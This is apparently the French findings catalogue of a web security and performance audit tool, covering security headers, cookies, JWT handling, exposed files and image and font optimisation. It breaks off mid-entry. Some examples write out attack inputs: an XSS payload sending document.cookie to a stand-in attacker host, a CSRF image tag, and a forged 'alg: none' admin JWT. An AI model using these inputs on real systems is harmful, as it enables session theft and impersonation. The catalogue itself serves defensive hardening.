- Proposer un second facteur résistant au hameçonnage (clé de sécurité, application d’authentification) au moins pour les comptes à privilèges.
Aucune règle ne limite les scripts autorisés à s’exécuter Content-Security-Policy
L'application ne déclare aucun en-tête Content-Security-Policy. En cas de faille XSS (même mineure dans une dépendance), un attaquant a les pleins pouvoirs : exécution de scripts arbitraires, exfiltration de données, vol de session, détournement d'actions utilisateur.
- Exemple
- Une dépendance front (lib markdown, composant tiers) reçoit une CVE XSS → sans CSP, un attaquant peut voler les cookies dès qu'un utilisateur affiche un contenu manipulé.
- Risque
- Vol massif de sessions et de données utilisateur en cas d'XSS.
- Correction
- Déclarer une CSP de base (
default-src 'self'; object-src 'none'; frame-ancestors 'none') puis durcir progressivement en autorisant les origines réellement nécessaires.
Caméra, micro et géolocalisation ne sont pas explicitement interdits Permissions-Policy
L'app n'interdit pas explicitement l'accès à des APIs sensibles (caméra, micro, géolocalisation, paiement) : un script tiers ou iframe peut tenter de les demander à l'utilisateur.
- Exemple
- Une iframe publicitaire embarquée demande l'accès au micro de l'utilisateur, qui clique 'autoriser' par habitude.
- Risque
- Espionnage utilisateur (micro/caméra) via script tiers compromis.
- Correction
- Ajouter
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()et n'autoriser que ce qui est strictement nécessaire.
Des éléments chargés en clair sur une page chiffrée contenu mixte
Une page HTTPS charge une ressource via HTTP. Le navigateur la bloque ou affiche un avertissement « non sécurisé », et la ressource peut être interceptée.
- Exemple
- Une image ou un script en
http://inclus dans une pagehttps://→ blocage console. - Risque
- Rendu cassé (ressource bloquée).
- Correction
- Servir toutes les ressources en HTTPS (URL protocole-relatives ou absolues https).
Des scripts extérieurs sans vérification, mais d’origines déjà encadrées SRI / CSP
Des ressources tierces sont chargées sans integrity, mais la CSP script-src épingle chacun de leurs hôtes sans joker. L'exposition n'est pas celle d'un CDN ouvert : il faut compromettre cet hôte précis.
- Exemple
- SDK analytics injecté au runtime, hôte listé explicitement dans la CSP.
- Risque
- Le fournisseur peut toujours modifier son propre fichier ; la CSP ne protège pas de ça.
- Correction
- À qualifier plutôt qu'à corriger : un SRI figé sur une ressource versionnée par le fournisseur casse le chargement à chaque publication.
Des scripts extérieurs sont chargés sans vérification de leur contenu Subresource Integrity (SRI)
Des <script>/<link> chargés depuis un autre domaine (CDN) n'ont pas d'attribut integrity. Le navigateur exécute le fichier tel quel, sans vérifier qu'il n'a pas été altéré.
- Exemple
- Un
<script src='https://cdn.tiers.com/lib.js'>sansintegrity: si le CDN est piraté, le script modifié s'exécute chez tous les visiteurs. - Risque
- Attaque supply-chain : exécution de code arbitraire avec les droits de la page.
- Correction
- Ajouter
integrity="sha384-..."+crossorigin="anonymous"sur les ressources tierces (ou les self-héberger).
L’adresse des pages visitées est transmise aux sites tiers Referrer-Policy
Le navigateur peut envoyer l'URL complète (avec tokens, IDs) à des sites tiers via l'en-tête Referer. Tokens / paramètres sensibles fuient.
- Exemple
- Une URL
https://app.fr/reset-password?token=xxxest partagée vers un site tiers via un lien → le token apparaît dans les logs du tiers. - Risque
- Fuite de tokens de reset / invitation / single-use vers des tiers.
- Correction
- Ajouter
Referrer-Policy: strict-origin-when-cross-origin(ouno-referrersi zéro fuite tolérée).
L’adresse non chiffrée ne renvoie pas vers l’adresse chiffrée redirection HTTP → HTTPS
Le site répond en HTTP sans rediriger (301/308) vers HTTPS. Un utilisateur qui tape l'URL sans https:// reste en clair, exposé à l'interception.
- Exemple
http://mon-app.frrenvoie 200 au lieu de rediriger vershttps://→ cookies et données en clair sur un Wi-Fi public.- Risque
- Interception man-in-the-middle avant tout chiffrement.
- Correction
- Rediriger tout le trafic HTTP vers HTTPS en 301/308 au niveau du serveur/edge.
La configuration de connexion est publique OpenID Connect discovery
Le document de découverte OpenID Connect (/.well-known/openid-configuration) est public. C'est un comportement normal, signalé à titre informatif.
- Exemple
/.well-known/openid-configurationrenvoie les endpoints d'autorisation/token.- Risque
- Aucun (informatif) : cartographie de la fédération d'identité.
- Correction
- Aucune action requise ; vérifier que seuls les endpoints prévus sont exposés.
La connexion chiffrée n’est pas imposée dès la première visite HSTS preload
L'en-tête HSTS est présent mais sans includeSubDomains + preload. La première visite (avant que le navigateur connaisse la politique) reste vulnérable à un downgrade.
- Exemple
Strict-Transport-Security: max-age=31536000sansincludeSubDomains; preload.- Risque
- Fenêtre de downgrade au premier accès.
- Correction
- Ajouter
includeSubDomains; preloadet soumettre le domaine sur hstspreload.org.
La déconnexion ne déclenche aucun appel de révocation aucun DELETE/POST logout-revoke observé
Aucune requête de révocation (suppression du jeton, appel de déconnexion côté serveur) n’a été observée au moment du clic sur déconnexion. Sans un tel appel, rien n’indique qu’un mécanisme de révocation existe côté serveur.
- Exemple
- Le clic sur « Se déconnecter » redirige vers l’écran de connexion sans qu’aucune requête ne parte vers le serveur : seul l’affichage change.
- Risque
- Un jeton volé avant la déconnexion reste utilisable jusqu’à son expiration naturelle, faute de mécanisme de révocation.
- Correction
- Faire de la déconnexion un appel serveur explicite (
DELETE /sessionou équivalent) qui invalide le jeton, pas seulement un nettoyage côté client.
La déconnexion ne déconnecte pas
Un mécanisme de déconnexion existe mais ne clôt pas réellement la session (l’utilisateur reste connecté ou peut revenir en arrière sur une page authentifiée).
- Exemple
- Après « Se déconnecter », le bouton retour réaffiche le tableau de bord.
- Risque
- Fausse impression de sécurité : la session reste active.
- Correction
- Invalider la session côté serveur au logout et empêcher le retour arrière sur les pages authentifiées (no-store).
La page ne dit pas qui a le droit de l’incruster frame-ancestors
La CSP ne déclare pas de directive frame-ancestors. La page peut être embarquée dans une iframe sur n'importe quel site externe : un attaquant peut alors superposer une fausse UI par-dessus l'app pour piéger l'utilisateur (clickjacking).
- Exemple
- Un site malveillant intègre l'app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone' → l'utilisateur clique en réalité sur 'Supprimer mon compte'.
- Risque
- Clickjacking : actions sensibles déclenchées au nom de l'utilisateur.
- Correction
- Ajouter
frame-ancestors 'none'(interdire toute iframe) ou'self'(autoriser uniquement le même domaine) à la CSP.
La page peut être incrustée dans un site tiers à des fins de piégeage X-Frame-Options
L'app peut être chargée dans une iframe sur n'importe quel site externe. Un attaquant peut superposer ton interface sous une fausse UI pour piéger l'utilisateur (clickjacking).
- Exemple
- Un site malveillant intègre ton app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone'.
- Risque
- Actions non voulues déclenchées au nom de l'utilisateur (suppression, transfert, validation).
- Correction
- Ajouter
X-Frame-Options: DENY(ouSAMEORIGINsi tu intègres tes propres iframes) ou utiliserframe-ancestorsdans la CSP.
La règle des scripts autorise le code construit à la volée CSP 'unsafe-eval'
La CSP autorise 'unsafe-eval', ce qui permet l'utilisation de eval(), new Function(), setTimeout('code') et autres constructions dynamiques. Un attaquant qui parvient à injecter une chaîne de caractères dans un contexte évalué peut exécuter du code arbitraire.
- Exemple
- Une lib de templating obsolète appelle
eval(template)sur du contenu utilisateur → injection de code triviale. - Risque
- Surface d'attaque XSS élargie sur des canaux inattendus (configs, templates).
- Correction
- Retirer
'unsafe-eval'et remplacer les libs qui en dépendent (template engine compilé au build, JSON.parse strict).
La règle des scripts autorise le code inséré dans la page CSP 'unsafe-inline'
La directive script-src (ou style-src) autorise 'unsafe-inline'. Cette autorisation neutralise la protection principale de la CSP contre les XSS : tout script HTML injecté est exécuté comme s'il n'y avait pas de CSP.
- Exemple
- CSP
script-src 'self' 'unsafe-inline'→ une faille XSS injecte<script>fetch('https://attaquant.fr/?c='+document.cookie)</script>qui s'exécute normalement. - Risque
- Protection XSS de la CSP réduite à zéro.
- Correction
- Retirer
'unsafe-inline'et migrer vers un nonce généré par requête (script-src 'nonce-RANDOM') ou des hashes ('sha256-...').
La règle des scripts autorise n’importe quelle origine CSP source '*'
Une directive CSP autorise toutes les origines (* ou https:). N'importe quel domaine sur Internet peut alors servir des scripts, styles ou ressources à la page : la CSP n'agit plus comme une whitelist, elle devient cosmétique.
- Exemple
script-src *→ un attaquant qui arrive à injecter<script src="https://attaquant.fr/x.js">est exécuté sans filtre.- Risque
- CSP perd toute valeur défensive : équivalent à ne pas en avoir.
- Correction
- Remplacer les wildcards par la liste explicite des origines nécessaires, ou utiliser
'self'quand c'est suffisant.
La version d’un composant côté client est lisible depuis le navigateur React.version / angular.version / jQuery.fn.jquery
Une bibliothèque front (React, Angular, jQuery, ou une autre nommée dans un fichier téléchargé) expose sa version par un global ou par le nom du fichier chargé. Le constat expose une version : il n'affirme aucune vulnérabilité, aucune base CVE n'étant consultée.
- Exemple
window.jQuery.fn.jqueryrépond3.4.1;react-dom@17.0.2.min.jsapparaît dans les scripts chargés.- Risque
- Un attaquant peut croiser cette version avec une base de vulnérabilités publiques pour cibler un correctif manquant.
- Correction
- Mettre à jour régulièrement les bibliothèques front ; la version en elle-même n’est pas dissimulable côté client.
Le code source de l’application est téléchargeable source map
Une source map (.map) est accessible publiquement. Le code source original, les commentaires et parfois des clés y sont reconstituables.
- Exemple
/_astro/index.a1b2c3d4.js.maprenvoie 200 → code source dé-minifiable.- Risque
- Exposition de la logique métier.
- Correction
- Ne pas déployer les
.mapen production, ou les restreindre (auth/IP) côté serveur.
Le navigateur n’est pas obligé de rester en connexion chiffrée Strict-Transport-Security (HSTS)
Le serveur ne renvoie pas d'en-tête Strict-Transport-Security. Un attaquant en position de man-in-the-middle (Wi-Fi public, DNS hijack) peut forcer un downgrade vers HTTP et intercepter les credentials lors de la première visite ou si l'utilisateur tape l'URL sans https://.
- Exemple
- Utilisateur dans un café tape
mon-app.fr→ 1ère requête HTTP en clair → attaquant sur le Wi-Fi capture la session de login. - Risque
- Vol d'identifiants par interception sur réseau hostile.
- Correction
- Ajouter
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadsur toutes les réponses HTTPS.
Le navigateur peut deviner le type d’un fichier au lieu de le respecter X-Content-Type-Options
Le navigateur peut deviner le type MIME d'une ressource (sniffing). Un fichier hostile uploadé peut être réinterprété comme du JS ou HTML et exécuté.
- Exemple
- Un utilisateur uploade un fichier
avatar.pngqui contient en réalité du JavaScript → IE/anciens Chrome l'exécutent. - Risque
- Exécution de code malveillant via fichiers uploadés par les utilisateurs.
- Correction
- Ajouter
X-Content-Type-Options: nosniffsur toutes les réponses.
Le schéma de l’API est lisible par quiconque le demande introspection GraphQL
Le point GraphQL répond à une requête d’introspection : la liste complète des types, champs et mutations est publique.
- Exemple
POST /graphqlavec{ __schema { types { name } } }→200et le schéma.- Risque
- Un attaquant reçoit la carte complète de l’API.
- Correction
- Désactiver l’introspection en production, ou la réserver aux sessions autorisées.
Le serveur accepte des méthodes de chiffrement faibles cipher suites
Le serveur autorise des cipher suites obsolètes utilisant CBC ou SHA-1. Ces algorithmes sont vulnérables à des attaques cryptographiques publiques (BEAST, POODLE, Lucky13) qui peuvent permettre le déchiffrement progressif des données.
- Exemple
- Serveur accepte
TLS_RSA_WITH_AES_128_CBC_SHA→ vulnérable à BEAST sur les vieux clients. - Risque
- Données chiffrées déchiffrables à terme par un attaquant patient.
- Correction
- Configurer la liste de cipher suites selon Mozilla SSL Configuration Generator (profil 'modern' ou 'intermediate') : bannir CBC et SHA-1.
Le serveur accepte encore des versions anciennes du chiffrement TLS 1.0 / 1.1
Le serveur accepte des connexions en TLS 1.0 ou 1.1, deux versions officiellement dépréciées depuis 2020 (RFC 8996). Ces versions souffrent de vulnérabilités cryptographiques connues (BEAST, POODLE) et de cipher suites obsolètes.
- Exemple
- Audit SSL Labs note le serveur 'C' à cause de l'acceptation de TLS 1.0.
- Risque
- Interception et déchiffrement possibles des communications utilisateur (credentials, sessions, données personnelles).
- Correction
- Désactiver TLS 1.0 et 1.1 côté serveur (Nginx, Traefik, Cloudflare, ALB) : ne laisser que TLS 1.2 et 1.3.
Le serveur annonce sa technologie à qui la demande X-Powered-By
L'en-tête X-Powered-By divulgue la stack technique (framework, runtime). Information offerte à un attaquant pour orienter ses tentatives.
- Exemple
X-Powered-By: Expressrévèle le framework backend.- Risque
- Reconnaissance de la stack facilitée.
- Correction
- Désactiver l'en-tête (
app.disable("x-powered-by"), ou suppression côté reverse-proxy).
Le serveur annonce sa version à qui la demande Server
L'en-tête Server révèle le logiciel et sa version exacte. Un attaquant cible directement les CVE connues de cette version.
- Exemple
Server: nginx/1.27.0permet de chercher les vulnérabilités de cette version précise.- Risque
- Ciblage facilité des vulnérabilités connues.
- Correction
- Masquer la version (
server_tokens off;sous Nginx) ou retirer l'en-tête.
Le serveur n’a pas limité le débit d’un enchaînement de lectures rate limiting
Des requêtes de **lecture** rejouées rapidement passent toutes sans être throttlées (aucun 429 ni en-tête Retry-After/RateLimit-*). **Périmètre du test** : lectures same-origin uniquement, les endpoints sensibles (écritures, envoi de code, invitations, génération de rapport), où une limitation est le plus souvent posée, ne sont pas sollicités. Ce constat n'établit donc pas une absence de protection.
- Exemple
- 20 requêtes envoyées en rafale, toutes en 200 : aucun garde-fou.
- Risque
- Brute-force d’identifiants ou de codes.
- Correction
- Ajouter une limitation de débit côté serveur/passerelle (par IP et par compte) répondant 429 avec
Retry-After.
Le serveur ne propose pas la version la plus sûre du chiffrement TLS 1.3
Le serveur n'accepte pas TLS 1.3 et reste sur TLS 1.2 ou inférieur. Les anciennes versions ont des suites de chiffrement plus faibles et des temps de handshake plus lents.
- Exemple
- Un audit type SSL Labs note le serveur 'B' au lieu de 'A+' à cause de cipher suites obsolètes.
- Risque
- Vulnérabilité à des attaques connues sur TLS ≤ 1.2 (BEAST, POODLE downgrade) selon config.
- Correction
- Activer TLS 1.3 côté Nginx/Traefik/Cloudflare et désactiver TLS ≤ 1.1.
Le site se présente lui-même comme un environnement de test hostname / bandeau non-production
Le nom d'hôte (staging., preprod., review-482.) ou un bandeau visible sur la page désigne un environnement de test ou de préproduction, pas la production.
- Exemple
- L'URL auditée commence par
staging.alors qu'elle est atteignable depuis l'extérieur. - Risque
- Un lien partagé par erreur mène un client sur un environnement instable ou aux données fictives.
- Correction
- Restreindre l'accès public à l'environnement (authentification, IP allowlist) ou retirer le bandeau une fois en production.
N’importe quel site peut interroger le serveur depuis un navigateur Access-Control-Allow-Origin: *
Une réponse d'API renvoie Access-Control-Allow-Origin: *, autorisant n'importe quel site à lire ses réponses depuis un navigateur.
- Exemple
/api/v1/usersrépondAccess-Control-Allow-Origin: *.- Risque
- Lecture cross-origin des réponses.
- Correction
- Restreindre l'ACAO à une allowlist d'origines de confiance ; jamais
*avec credentials.
Rien n’indique à la personne qu’elle est connectée
Des cookies sont présents mais aucun ne semble lié à la session, et aucun indicateur d’expiration/timeout n’a été trouvé dans le DOM. Difficile de savoir si la session expire.
- Exemple
- Aucun cookie
Secure/HttpOnlyde session identifiable. - Risque
- Sessions potentiellement éternelles → fenêtre d’attaque élargie.
- Correction
- Utiliser un cookie de session sécurisé avec expiration, et indiquer l’état/timeout de session côté UI.
Se déconnecter n’invalide pas la session côté serveur jeton valide après logout (rejeu en lecture)
Le jeton capturé juste avant la déconnexion répond encore avec succès une fois celle-ci jouée. La déconnexion efface l’affichage et le stockage côté navigateur, mais la session reste active côté serveur : quiconque a intercepté ce jeton avant la déconnexion continue de l’utiliser.
- Exemple
- Un jeton intercepté sur un réseau public reste utilisable des heures après que la victime s’est déconnectée de son côté.
- Risque
- Un jeton volé avant la déconnexion reste exploitable jusqu’à son expiration naturelle.
- Correction
- Mettre en place une révocation côté serveur au moment de la déconnexion (liste noire avec expiration alignée sur le jeton, ou jeton de rafraîchissement supprimé en base).
Un écran réservé accessible sans être connecté
Une zone censée être protégée reste accessible sans authentification valide (pas de redirection vers le login). Risque d’exposition de données ou d’actions réservées.
- Exemple
- Accès direct à
/adminsans session valide sans redirection. - Risque
- Fuite de données réservées aux utilisateurs authentifiés.
- Correction
- Appliquer un contrôle d’accès côté serveur sur chaque route protégée et rediriger vers le login si non authentifié.
Un fichier sensible est accessible à tous /.git, /.env
Un chemin sensible (/.git, /.env) est servi publiquement. Secrets, historique de code et configuration sont exposés : compromission directe.
- Exemple
/.git/HEADrenvoieref: refs/heads/main→ tout le dépôt est récupérable.- Risque
- Fuite de secrets et de code source.
- Correction
- Bloquer l'accès aux fichiers/dossiers cachés côté serveur et ne jamais déployer
.git/.env.
Un jeton de connexion est accessible à tout script de la page JWT en localStorage/sessionStorage
Le jeton est lu dans le stockage local ou de session du navigateur plutôt que dans un cookie protégé (HttpOnly). N’importe quel script qui s’exécute sur la page (une dépendance compromise, une faille XSS) peut donc le lire et l’envoyer ailleurs.
- Exemple
- Une bibliothèque tierce compromise lit
localStorage.getItem('access_token')et l’exfiltre vers un serveur externe. - Risque
- Vol de session complet via une simple exécution de script sur la page.
- Correction
- Stocker le jeton dans un cookie
HttpOnly,Secure,SameSite=Strictplutôt que dans le stockage local ou de session.
Un jeton de connexion est rangé là où tout script peut le lire localStorage
Le token d'auth est stocké dans localStorage. Il est lisible depuis JS : toute faille XSS expose immédiatement la session, contrairement à un cookie HttpOnly.
- Exemple
- XSS via une lib tierce →
localStorage.getItem('token')exfiltré en 1 ligne. - Risque
- Toute XSS = compromission immédiate de la session.
- Correction
- Migrer vers un cookie
HttpOnly + Secure + SameSite=Strictposé par le backend.
Un jeton de connexion est signé avec une méthode faible JWT HS256 / none
Le JWT utilise none, HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut forger des tokens valides.
- Exemple
- Algorithme
noneaccepté → un attaquant fabrique un token{alg:'none'}et passeadmin:true. - Risque
- Forge de tokens : un attaquant se fait passer pour un admin.
- Correction
- Utiliser RS256/ES256 + secret/cle privée >= 256 bits, refuser explicitement
alg: none.
Un jeton de connexion est signé avec une méthode faible ou aucune JWT HS256 / none
Le JWT utilise un algorithme de signature faible : none (aucune signature), HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut alors forger des tokens valides et se faire passer pour n'importe quel utilisateur, y compris un administrateur.
- Exemple
- Backend accepte
alg: none→ un attaquant fabrique{"alg":"none"}.{"sub":"admin","role":"admin"}.et obtient un accès admin. - Risque
- Forge complète de tokens : un attaquant se fait passer pour un administrateur.
- Correction
- Utiliser RS256 ou ES256 avec une clé privée >= 256 bits, refuser explicitement
alg: nonecôté backend, et valider l'algorithme attendu avant la vérification de signature.
Un jeton de connexion ne dit pas à quel service il est destiné JWT sans claim aud
Le jeton ne déclare pas l’audience à laquelle il est destiné. Un service qui accepte la même signature qu’un autre peut alors se voir présenter un jeton émis pour ce dernier et l’accepter à tort.
- Exemple
- Un jeton émis pour l’API de facturation est rejoué avec succès contre l’API de gestion des comptes, qui partage la même clé de signature.
- Risque
- Un jeton légitime pour un service en autorise un autre par erreur.
- Correction
- Ajouter une claim
audidentifiant le service cible et la faire vérifier à chaque requête.
Un jeton de connexion ne dit pas quel serveur l’a délivré JWT sans claim iss
Le jeton ne déclare pas le serveur d’authentification qui l’a émis. Le service qui le reçoit ne peut donc pas vérifier qu’il vient bien de son propre serveur d’authentification plutôt que d’un tiers.
- Exemple
- Un environnement de test et un environnement de production partagent le même format de jeton sans distinction d’émetteur, exposant la production à un jeton de test.
- Risque
- Impossible de distinguer un jeton légitime d’un jeton émis par une autre source de confiance moindre.
- Correction
- Ajouter une claim
issidentifiant le serveur d’authentification et la faire vérifier à chaque requête.
Un jeton de connexion ne périme jamais JWT exp
Le JSON Web Token utilisé pour l'authentification ne contient pas de claim exp (timestamp d'expiration). Le token reste valide indéfiniment : si un attaquant l'obtient (log, XSS, leak), il conserve un accès permanent au compte, même après changement de mot de passe.
- Exemple
- Un token leaké via un log Sentry public il y a 6 mois reste utilisable aujourd'hui.
- Risque
- Persistence d'un accès non révocable côté client.
- Correction
- Ajouter un claim
expcourt (15 minutes recommandé) et mettre en place un mécanisme de refresh token rotatif côté backend.
Un jeton de connexion reste valide plus d’une heure exp - iat > 60 min
Le jeton de connexion vit plus de 60 minutes entre son émission et son expiration. Plus cette fenêtre est longue, plus un jeton volé (via un journal, une faille XSS, une fuite) reste utilisable par qui l’a intercepté.
- Exemple
- Un jeton émis à 9h reste valide jusqu’à 21h : douze heures d’accès pour qui l’aurait intercepté.
- Risque
- Fenêtre d’exploitation prolongée en cas de vol du jeton.
- Correction
- Réduire la durée de vie du jeton à 5-15 minutes et s’appuyer sur un jeton de rafraîchissement révocable pour prolonger la session.
Un jeton de connexion transporte des données personnelles en clair PII dans le contenu du JWT
Le contenu du jeton (lisible en Base64, non chiffré) porte une donnée personnelle en clair : une adresse email, un nom complet, ou un rôle suffisamment détaillé pour identifier une personne ou sa fonction précise dans l’organisation. Quiconque intercepte ou inspecte le jeton lit cette donnée sans effort.
- Exemple
- Le jeton contient
"email": "jean.dupont@exemple.fr", lisible par un simple décodage Base64 depuis le stockage du navigateur. - Risque
- Exposition de données personnelles à quiconque accède au jeton, sans avoir besoin de le déchiffrer.
- Correction
- Ne porter dans le jeton qu’un identifiant opaque ; aller chercher les données personnelles côté serveur au moment où elles sont réellement nécessaires, ou chiffrer le contenu (JWE) si elles doivent y figurer.
Un rechargement interrompu déconnecte pour de bon
Le jeton de rafraîchissement tourne à chaque appel, sans tolérance pour une réponse perdue. Le serveur invalide l'ancien jeton avant que le client ait reçu le nouveau : si la requête est interrompue (onglet fermé, navigation, réseau coupé), le navigateur continue de présenter un jeton dépensé et toutes les tentatives suivantes répondent 401. L'utilisateur est déconnecté sans l'avoir demandé, et sans explication.
- Exemple
- L'utilisateur clique un lien pendant que l'application rafraîchit son jeton en arrière-plan : la réponse est annulée, la session est morte.
- Risque
- Déconnexions inexpliquées, d'autant plus fréquentes que la connexion est instable.
- Correction
- Tolérer brièvement l'ancien jeton après rotation (quelques secondes), ou ne l'invalider qu'à la première utilisation réussie du nouveau. Détecter la réutilisation reste possible au-delà de cette fenêtre.
Un script injecté pourrait voler les jetons de connexion XSS
Des jetons d’authentification sont stockés dans le web storage (localStorage/sessionStorage), lisibles par n’importe quel script de la page, alors que la CSP est absente ou permissive (autorise inline/eval). Une faille XSS permettrait de voler la session.
- Exemple
- Un token JWT dans
localStorage+ une CSP avecunsafe-inline→ un script injecté lit le token et l’envoie ailleurs. - Risque
- Vol de session : l’attaquant se fait passer pour l’utilisateur.
- Correction
- Stocker les jetons dans un cookie
Secure; HttpOnly; SameSite(inaccessible au JS) et durcir la CSP (retirerunsafe-inline/unsafe-eval).
Un témoin de session est envoyé depuis d’autres sites cookie SameSite
Un cookie de session ne déclare pas d'attribut SameSite. Il est envoyé sur des requêtes cross-site → vulnérabilité CSRF.
- Exemple
- Un site malveillant héberge
<img src='https://mon-app.fr/api/transfer?to=attaquant'>→ la requête part avec le cookie de session. - Risque
- Actions sensibles exécutées au nom de l'utilisateur (CSRF).
- Correction
- Poser
SameSite=Laxpar défaut,SameSite=Strictpour les cookies de sessions très sensibles.
Un témoin de session est lisible par les scripts de la page cookie 'HttpOnly'
Un cookie de session est lisible depuis JavaScript (document.cookie). En cas de XSS, l'attaquant peut le voler.
- Exemple
- Une faille XSS exécute
fetch('https://attaquant.fr/?c='+document.cookie)et exfiltre la session. - Risque
- Combinaison XSS + cookie volable = compromission de compte triviale.
- Correction
- Ajouter le flag
HttpOnlysur les cookies de session.
Un témoin de session peut circuler en clair cookie 'Secure'
Un cookie de session est posé sans le flag Secure. Il peut être envoyé sur des connexions HTTP non chiffrées et intercepté.
- Exemple
- L'utilisateur tape
mon-app.fr/pagedans un café → cookie de session envoyé en HTTP → un attaquant sur le Wi-Fi le récupère. - Risque
- Vol de session → l'attaquant se connecte en tant que l'utilisateur.
- Correction
- Ajouter le flag
Securesur tous les cookies de session ou sensibles.
Une erreur affiche l’écran de débogage du framework, pas une page applicative stack trace / debug screen
La page rencontrée est l'écran de débogage natif du framework serveur (trace de pile, chemin de fichier, parfois un extrait de code) plutôt qu'une page d'erreur pensée pour un visiteur.
- Exemple
- Une erreur PHP affiche
Fatal error: Uncaught Erroravec le chemin complet du fichier source. - Risque
- Exposition de chemins serveur, de noms de fichiers internes et parfois d'extraits de code.
- Correction
- Désactiver le mode debug en production et servir une page d’erreur applicative générique.
Une protection du navigateur non activée en-tête de sécurité
Un en-tête HTTP de sécurité recommandé est absent de la réponse. Le navigateur applique alors des protections plus faibles contre certaines classes d’attaques.
- Exemple
- Absence de
X-Content-Type-Options: nosniff. - Risque
- Surface d’attaque élargie (sniffing MIME, clickjacking, fuite de référent).
- Correction
- Ajouter les en-têtes manquants au niveau du serveur/reverse-proxy et vérifier leur présence sur toutes les routes.
Une réponse d’amorçage expose une longue liste de feature flags bootstrap flags
Une réponse d'amorçage envoie au client au moins trois entrées sous une clé nommée flags, featureFlags ou toggles, plutôt qu'une réponse resserrée sur ce qui concerne l'utilisateur courant.
- Exemple
- La réponse
/api/bootstrapcontient une cléfeatureFlagslistant une douzaine d’entrées. - Risque
- Une fonctionnalité non annoncée ou un mode dégradé sont découvrables par simple lecture du réseau.
- Correction
- Ne renvoyer côté client que les flags pertinents pour l’utilisateur courant, jamais la configuration complète.
Performance
49Le temps que la page met à s’afficher et à répondre.
Des fichiers texte envoyés sans compression gzip / brotli
Des ressources texte (CSS/JS) de même origine sont servies sans compression : bande passante gaspillée et rendu retardé.
- Exemple
- Un bundle JS de 400 Ko servi non compressé au lieu de ~110 Ko en brotli.
- Risque
- Chargement plus lent à chaque visite.
- Correction
- Étendre la compression Nginx/CDN à tous les types texte (application/javascript, text/css).
Des fichiers versionnés que le navigateur ne garde pas en mémoire Cache-Control
Des assets au nom hashé (immuables) sont servis sans Cache-Control long. Le navigateur les re-télécharge alors qu'ils ne changent jamais.
- Exemple
/_astro/index.a1b2c3d4.jsservi sansmax-age→ re-téléchargé à chaque visite.- Risque
- Temps de chargement répétés inutiles.
- Correction
- Servir les assets fingerprintés avec
Cache-Control: public, max-age=31536000, immutable, et un cache court/revalidate sur le HTML.
Des grandes images servies en une seule taille pour tous les écrans srcset
Une image de grande taille n'a pas d'attribut srcset. Le mobile télécharge la même version haute résolution que le desktop.
- Exemple
- Un visuel pleine largeur sans
srcset→ 1 Mo téléchargé même sur petit écran. - Risque
- LCP mobile dégradé.
- Correction
- Fournir
srcset+sizesavec plusieurs largeurs, ou utiliser<picture>.
Des images bien plus grandes que l’espace où elles s’affichent
Une image est servie en résolution bien supérieure à sa taille d'affichage. Des centaines de Ko sont téléchargés puis redimensionnés en pure perte.
- Exemple
- Une vignette affichée en 200 px servie en 2000 px de large.
- Risque
- Bande passante gaspillée.
- Correction
- Servir des images à la taille d'affichage (× DPR), avec
srcset/sizespour les variantes.
Des images dans un format ancien, plus lourd JPEG / PNG au lieu de WebP / AVIF
Des images sont servies en JPEG/PNG au lieu de formats modernes (WebP/AVIF). À qualité égale, le poids est 2 à 3 fois supérieur.
- Exemple
- Un visuel hero en JPEG de 800 Ko → ~250 Ko en WebP, ~150 Ko en AVIF.
- Risque
- Chargement plus lent.
- Correction
- Générer des variantes WebP/AVIF (via
<picture>ou un pipeline d'images) avec repli JPEG/PNG.
Des images décodées en bloquant l’affichage decoding="async"
Les images n'ont pas l'attribut decoding="async". Leur décodage (transformation du flux compressé en bitmap) s'exécute sur le thread principal et bloque temporairement les autres travaux du navigateur (scroll, animations, JS).
- Exemple
- Une galerie photo qui affiche 12 images haute résolution provoque des micro-saccades de scroll pendant 200-400 ms à chaque arrivée d'image.
- Risque
- Micro-saccades visibles pendant le scroll, surtout sur mobile bas de gamme.
- Correction
- Ajouter
decoding="async"sur les<img>non critiques pour que le décodage se fasse en arrière-plan.
Des images hors de vue chargées d’emblée lazy loading
Des images situées sous la ligne de flottaison (hors viewport initial) sont téléchargées dès le chargement de la page, sans loading="lazy". Le navigateur consomme de la bande passante et du temps CPU pour des images que l'utilisateur ne verra peut-être jamais : au détriment du contenu visible.
- Exemple
- Sur une page d'accueil avec 30 vignettes en grille, les 25 dernières (hors écran) téléchargent en parallèle du LCP → 4 MB inutiles avant que la zone visible ne s'affiche.
- Risque
- Bande passante mobile gaspillée (forfaits limités, zones de couverture faibles).
- Correction
- Ajouter
loading="lazy"sur les<img>sous le pli, et garderloading="eager"(ou rien) pour l'image LCP.
Des images sans taille déclarée, qui font sauter la page width / height
Des <img> n'ont pas d'attributs width/height. Le navigateur ne réserve pas l'espace, provoquant un saut de mise en page (CLS) pendant le chargement.
- Exemple
- Le texte sous une image saute vers le bas quand l'image arrive → clic au mauvais endroit.
- Risque
- CLS dégradé (Core Web Vitals).
- Correction
- Renseigner
widthetheight(ouaspect-ratioCSS) sur chaque<img>.
Des polices dans un format lourd TTF / OTF au lieu de WOFF2
Les polices web sont servies en TTF, OTF ou WOFF (v1) au lieu de WOFF2. WOFF2 est compressé Brotli et fait gagner 30 à 50 % de poids par rapport aux formats antérieurs : sans aucune perte de qualité.
- Exemple
- Inter chargée en
.ttf(180 KB) au lieu de.woff2(40 KB) → 140 KB inutiles par police, x4 si on a 4 graisses. - Risque
- Bande passante mobile gaspillée : coût pour l'utilisateur sur forfait limité.
- Correction
- Convertir les polices en WOFF2 (outil
woff2_compressou Google Fonts) et déclarerformat('woff2')en première position danssrc.
Des polices découvertes tard par le navigateur preload
Les polices critiques (utilisées dans le LCP) ne sont pas préchargées via <link rel='preload'>. Découverte tardive → texte visible en retard.
- Exemple
- Police du H1 chargée seulement après le parsing du CSS → FOIT/FOUT.
- Risque
- LCP retardé, CLS si bascule de police visible.
- Correction
- Ajouter
<link rel='preload' as='font' type='font/woff2' href='/fonts/inter.woff2' crossorigin>.
Des sélecteurs empilés sur trop de niveaux plus de 3 combinateurs descendants dans un même sélecteur
Un sélecteur comme .app .layout .main .content .card .title oblige le moteur à remonter plusieurs niveaux dans l'arbre du document pour chaque tentative de correspondance, alors qu'une classe unique sur l'élément visé se résout directement.
- Exemple
